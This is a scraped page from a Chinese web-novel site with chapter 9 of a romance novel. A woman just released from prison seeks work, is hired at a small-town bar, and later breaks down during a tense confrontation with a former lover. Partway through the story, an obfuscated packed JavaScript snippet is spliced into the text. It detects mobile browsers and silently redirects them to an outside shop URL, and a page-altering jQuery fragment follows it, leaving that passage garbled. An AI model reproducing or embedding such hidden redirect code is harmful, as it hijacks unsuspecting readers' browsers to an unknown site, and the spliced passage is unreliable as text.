文趣网 > 其他小说 > 敬此经年 > 9. 第 9 章 逼问
    今日的饭桌谈话,有些正经。

    宋春花今年75岁,年龄上来精气神儿还在,平日里就打理着镇子外围的一亩三分地。佟皎前阵子一声不吭地回来,她心里高兴,却也实属讶异了一阵。

    好端端的姑娘去了京城,怎么着就沦落到失魂落魄,朝气不再地回来。佟皎不愿与她说,她也不便追问。

    阿烠和小皎都是苦命孩子,她看着他们长大,不自觉地担当起长辈的使命,盼着两人能好好生活。

    阿烠现在倒是有了正经工作,眼前这个内敛安静的姑娘呢?

    她叹了口气,试探着打听佟皎有没有找个工作的想法。

    佟皎正扒着饭,抬头有些错愕。她不是没考虑过,只是还没酝酿好重拾生活的勇气。

    “阿婆放心,我这阵子会去打听打听。”她自嘲地笑了笑:“毕竟作为有手有脚的年轻人,总是窝在家里确实不好。”

    她垂眸,神色耷拉了下去。

    小镇的工作岗位,属实难找。佟皎下午便火速拾掇了一阵儿,首先去镇上最大的超市询问他们招不招收银。

    精品店、饭馆接连无果。

    她最后来到了镇上一家全国能叫得上名字的连锁便捷酒店楼下。

    酒店不高,就四层楼。外层刷着灰色的漆,黑色的窗棂支出来,走的极简风。

    酒店前台打量了她一眼,询问她是否要办住宿。

    佟皎不好意思开口:“请问你们店前台只有你一位吗?”

    眼前这位前台是个盘着丸子头,妆容精致的漂亮姑娘,没想到佟皎这么问,“啊”了一声。

    “我们店有四位前台,今天跟我一班的那个女生刚刚去上厕所了。我们是轮班制。”

    她不解问道:“你······是要找工作吗?”

    “嗯。”

    这时,那位去上厕所的前台姑娘回来了,她扎的低马尾,看起来成熟知性,现下边往裙边儿揩水边向她们走过来,瞅瞅丸子头姑娘又打量了一眼佟皎,“这位女士要办理入住吗?”

    丸子头女士斜眼睨她,无奈翘了翘嘴角:“她来找工作。”

    “啊,我们酒店最近好像没有招聘需要诶。”她语气诚恳,面部表情没有丸子头姑娘那样丰富。

    佟皎不好意思地说:“打扰了。”心里已然打起退堂鼓。

    又见低马尾姑娘掏出手机,“这样吧,我拉你进云河兼职群,里面时不时有些散活儿,偶尔有些店缺人也会现在里面发个消息。”

    她递出手机,让佟皎扫她的二维码。

    佟皎受宠若惊地加上了低马尾姑娘的微信。

    低马尾姑娘叫章聆,微信头像是一只肥美橘白,背景是某个俯瞰群山城镇的高空照。看起来是生活号。

    佟皎笑起来,如春风般和煦:“多谢你。”

    章聆无所谓地摆摆手:“小事。”后注意力又被分散。

    丸子头姑娘挂断电话:“2105李先生要求换床被子。”

    “嗯好。”

    两人忙起来。

    佟皎捏着手机退了出去,冬日的香樟茂密如故,云河的隆冬并不孤寂。

    真好啊,她感恩这个世界的善意。

    她进的是云河兼职二群,群里有一百八十八人。

    她点进群成员那栏,他们的昵称很直接,店主标明自己是哪家店的。佟皎挨个点进这些店主的个人资料,想挨个询问,又怕叨扰。

    悬起的指尖始终停在这一步。

    ava酒馆。

    这两天的酒馆晚上生意挺好,白天张平垣忙着研发新品,酒馆盈利不多,没垮全是奇迹。

    当然,张平垣也不全靠酒馆挣钱,他主业靠炒股以及投基金,再说他本身也不缺钱。

    这些年家人不是没催他相亲结婚,他自己也谈过两次恋爱,总归都无疾而终。

    他时常庆幸两年前做的回到云河落脚这个决定,没事调调酒,养养花,生活倒也稳步进行。

    回到云河,药的用量都减少了。

    店内装潢是他亲自设计的,中世纪复古风,装修比店面值钱。之前白天店里客人稀少,他闲得会去山顶上找基地那帮人玩。

    原木风的吧台放着一杯天蓝坠着迅白的奶酒,张平垣取名“高地”。

    “高地”表面被洒下绵密雪花,顶灯照射下,如夜空尽头的雪峰一样迅白。

    ——雪淹崖底,世界只有我的高地幸免于难。

    他用相机给新酒拍了几张“写真”,倒饬快一个小时,才满意地添加上菜单。

    临近六点,快接近晚饭时间,他给自己做了份打抛饭。

    接着,通讯录冒起一个小红点,是一则好友申请,「云河兼职二群的“昸”请求添加好友」

    对方表明来意,很有礼貌。

    「你好我想问问贵店招人吗兼职也可以」

    张平垣皱眉想了想,店里已经有两个服务员,按照在这个镇上的生意来说,不太需要再多招一个。

    他同意了好友申请,刚想拒绝。

    对方又发过来。

    「我叫佟皎,年龄二十六岁,长住云河,待业」

    她又发了个举花花的表情包。

    张平垣盯着屏幕久久没反应过来,云河不会有第二个叫佟皎的人。

    过了会儿,又有一则消息弹出。「坦诚相待,我需如实告诉你,我坐过三年牢」

    平地炸起一道惊雷。

    张平垣保证这是他今年听到过最炸裂的一则消息,比知道荆烠曾自杀未遂还震惊。他对着键盘输入又删除,脑子持续浆糊中,一是仍处于震惊状态,二是实在不知道发什么。

    但他不想拒绝她。

    佟皎见聊天界面持续显示“对方正在输入中”,有些落寞,对方应该正在想怎么委婉地拒绝她吧。

    她不意外,这是她通过群兼职群加的第九个老板,前边儿有四个未通过,有四个直接拒绝了她。

    她思索着,又编辑了一条消息过去。

    「抱歉,我知道这样的履历实在难以让人接受,但我的所谓前科和我本人人品和能力无关,实在不行我可以先做一段时间,您可以考察,实习期间不要工资都行。短期帮忙我也可以接受」

    张平垣浏览完这么段消息,心一窒,这和他之前相处了解到的佟皎是一个人吗?

    良久,他发过去:“我想了解你的经历,工资面谈。”

    两人约在第二天上午十点。

    佟皎内搭白色高领毛衣,外穿一件呢子大衣,配上她梳得一丝不苟的低丸子头,整个人显得肃穆成熟。

    酒馆第二层露台是半封闭形式,开了暖气,张平垣只穿了件黑色修身高领毛衣,周身环绕着绿植花草,面前的桌上摆着特意沏好的茶。

    他一直注视着楼下动态。

    佟皎来得很准时,她在名叫小优的服务员的带领下上到二楼。

    小优年龄不大,很有礼貌,贴心为她指了指右侧方向,俏皮说道:“老板在那边露台,我就不过去打扰你们了。”

    佟皎往她指的方向走去,脑中还没品悟出小优脸上的那丝戏谑是何意味。

    目光被露台男人的侧脸吸引,鼻梁高挺,气质儒雅。有些熟悉。

    和张平垣目光相对那一瞬间,她有些不可思议:“原来这家店的老板是你啊。”

    虽震惊,音调却小得像暗自嘀咕,微不可察。

    她在惊讶中落了座。

    张平垣笑了笑:“先喝茶。”把茶杯又往前推了些。

    紧接着是一阵沉默。

    有些赧然,有些窘迫,有些不好意思。佟皎始终微低着头,她甚至忘记了早先打好的面试草稿。

    张平垣注意到,率先开启话题:“我们先前有过一面之缘,了解过对方名字,我看人直觉很准,深觉你不会是……“坏人”,所以邀请你来参加面试。”

    这段话的前半句在这个氛围环境下实在像相亲,张平垣大概也意识到了,忙补充:“当然,我也确实会对你设置考察期,不然对店里其他员工来讲不公平。”

    他吐露得直接,属实是佟皎昨日百般设想情节的意料之外。

    佟皎腆然一笑,看向他的目光中带着一丝犹疑。

    “那经历呢?”

    她要悉数讲给他听吗。

    “防卫过当,被判两年零十个月。”

    佟皎语气没什么波澜,眉目隐见一丝忧伤。或许这句话在她心里已经酝酿过无数次,说出口时才会如此无足轻重。

    张平垣记得当年张若离世后的一年,佟皎也升学樟城一中,品学兼优,独来独往。

    他打听过她。

    听闻她后来去了京城读大学,也算是飞离小城镇有了崭新未来。如果没有当初的意外,张若本该也会跟她一样,甚至更优秀。

    可为何,一个自杀,一个坐牢。

    他想不明白,但心底深处无端涌上一丝怜悯,又有些恨铁不成钢。

    佟皎欲继续说下去,张平垣却抬手制止了她。“我明白了,没事。”

    没事,没事……

    张平垣想,有重新生活的勇气胜过所有,有长久可盼的未来仍在。只要活着,只要还有能力谋生。

    现在不是时候,不是时候了解她的一切,但他是个矛盾的人,此刻的压抑无法避免,心口像被石子堵住般说不出话。

    他本以为张若的好朋友能够过上很好的人生,可是事实与他料想的截然不同,她兜兜转转甚至需要到他这儿来寻求一份工作。

    如鲠在喉。

    佟皎的视角看过去,张老板表情很奇怪,他沉默太久,久到她终于忍不住开口问:“那考察期从什么时候开始?”

    “今天。”他很快回应,似乎就是等待着某句话来打破僵持。

    他补充:“不懂的我今天就可以教你。”

    端茶送水不用教,他教她处理订单,教她基础调酒,叮嘱她晚上客流量大时该如何应对。佟皎一一记下。

    小优和Jay在一旁吃瓜,两人不约而同地觉得自家老板对这个新来的员工态度过于柔和,如果老板平常待人接物的状态打九十九分,那今天对待佟小姐能打一百零一分,非要评判的话,超过的这两分叫做殷勤。

    无事献殷勤,非奸即盗;有事献殷勤,必有所图。

    该说不说,两人无论是身高外形还是气质,全方位都很登对。

    小优在心里默默嗑起了cp。

    基地。

    郭飞看完黄潼发的飞伞vlog的流量和评论,一时有些乐。

    视频评论大部分都是:

    「请问博主在哪儿飞的伞。」

    「有没有好心人扒扒身后的帅哥账号。」

    「博主和身后帅哥是情侣吗,看起来很登对。」

    「看得我都想尝试飞伞了。」

    「……」

    郭飞一边翻评论,一边饶有兴趣地看向荆烠,脱口而出一句很欠打的话:“你别说,我觉得你俩组个cp说不定成。”

    荆烠白了他一眼:“这是运动基地,不是哪个MCN。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568883|204863||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>郭飞依旧笑得开心,作势要把评论拿给荆烠看,荆烠别过头。

    “你要转型开个公司招些网红演演剧本我没意见,到时候我入股。”

    “你要搞直播另谋些收入我也没意见,但飞哥你别忘了,当初是怎么招我的,当初是怎么给我忠告的。”荆烠眸光熠熠,难得正肃。

    又说:“你别走到最后,忘了自己初心。”

    郭飞转过头看他,没了方才的戏谑打笑,没生气,但也算不上平静。

    他冷冷看了一眼荆烠,手搭在他肩上,似乎想说些什么,临了哑了火拍拍屁股走了。

    黄潼最终没被招进基地。

    荆烠不是个安于现状的人,但对于工作和生活,尤其是基地的这一份工作,他希望维持这份原生态。

    至于生活,他脑海里挥之不去一个人,那个没良心的人今天没出现在监控里,不知道忙什么去了。

    荆烠今天无数次想质问她回来干嘛,窝在哪个角落苟活余生还是单纯想故技重施膈应自己。

    她在京城念书时明明那么耀眼。

    怎么着沦落到灰溜溜回来。

    小山坡巷,“灰姑娘”忙活一天回到了家,难得有些腰酸。已经夜里十点,她脱鞋开灯,恍然看见一个人坐在客厅。

    氛围那么静谧适从,男人鬼一样杵在家里,不开灯不吱声,唯有火机盖的声音一上一下。见她进屋,幽冷眸光直接扎了过来,佟皎不禁瑟瑟发抖。

    “你去哪儿了。”男人轻飘飘问她。

    佟皎反问:“你为什么会在家。”

    问出口后她才反应过来,她有什么立场这样问,这本来就是他的家,跟她一毛钱关系都没有。

    荆烠轻笑一声,没放过她反应过来后的困窘,起身逼近:“你有什么资格这样问我?这是你家吗?用得着你管我什么时候回来?”他的这幅样子将她漠视到了极点。

    “那你以什么立场质问我?我去哪儿跟你有什么关系?”佟皎不甘示弱。

    荆烠气笑了:“是!七年前跟我没关系,现在跟我也没关系!那你回来干嘛?你这么有能耐你回来干嘛?!”

    “京城待不下去?还是京城的男人不好找?还是说你佟皎也就这点儿志气!终于明白自己不是什么凤凰,只会夹着尾巴灰溜溜地回来,只能像个寄居蟹一样住在别人的家里!”

    他质问出眼泪,笑得无奈:“还依旧住在你讨厌的人家里。”

    “毕竟你曾经这么说过不是吗?你说你早受够了我,和我在一起的每分每秒都感到厌恶、恶心!”

    他语调低了下去:“你就不恶心吗?”

    “佟皎你不觉得自己恶心吗?”

    佟皎错愕看向他,要把他看个明白,她从步入小山坡巷那夜起就料到会有这么一天,只是太猝不及防,她没料到他选在今天这么一顿输出,发这么大一顿疯。

    他憋了多久?

    七年?

    她想说不是的,不是的,曾经的一切都是气话。她不是那样的人,至少她对他不是完全没有过真心。

    荆烠早已红了眼,审视她,审判她,奔着要个结果来逼问她。

    他今天快以为她又一言不发地走了。

    来去像蒲公英,他总是抓不住,偏偏又会给他留颗种子,留那么点可笑的念想。

    她一直把他耍得团团转,他真是个疯子,竟甘之如饴那么久,还妄想她是为了他而回来。

    他真蠢。

    而她会低头吗?她现在一声不吭!

    老旧灯泡闪了闪,电流发出呲呲声,佟皎终于开口:“荆烠,我坐了牢。”

    “我不知道该怎样跟你说,但我坐了牢”,她声音低得近乎听不出来,继而嗫嚅道:“我不想说,不知道怎样跟你说,我想你,但我……”

    “太失败。”

    “我太失败了,我就是个愚蠢的女人,贪慕钱财见识短,自卑懦弱看人下菜。我不知道为什么会把生活过成这样,大概这就是老天对我的惩罚,每每给我一丝希望的同时又斩断我所有念想。”

    她痛哭流涕:“我大概生来就不幸,可为什么要这样对我,为什么……”

    跌落在地,撕心裂肺。

    荆烠第一次见她大哭,他现在已经把她方才释放的一切信息抛诸脑后,他只顾看着眼前景象,她也会哭成这样。

    亏他原以为她没心肝的。

    眼下换他紧张无措了,他张开口想说些什么,发现脑海中酝酿的措辞都很无力。

    他只得贴上前半跪下来,无奈道:“我倒也没逼你到给我下跪这程度。”见佟皎无动于衷,他叹道:“佟皎,你起来我们好好说话。”

    女人像一滩水,松散又没形状,荆烠只得搀着胳膊扶着腰将她整个人带起来。

    她那么无力,也没有反抗。

    荆烠还能说什么呢?一切都不重要了。

    她已经把心剖出来了,血淋淋地展示于这个夜晚,他是唯一听众。眼下不得不歌颂她这泣血的歌。

    他没那么生气了,又似乎更生气了。

    他的心里有两个小人在打架,一方为佟皎,另一方也为佟皎。

    一方在怪佟皎为什么把自己的人生活得这样差劲,一方怪自己今天为何把她逼到袒露最脆弱的一面。

    横竖,他更多怪的是自己。

    佟皎不说话,他静静抱着她。

    夜无眠,鼻息交缠,但他们都好累。一切的怀疑与怨恨都不重要了,但有爱吗,绝对没有。

    他很清楚这不是爱,是不甘。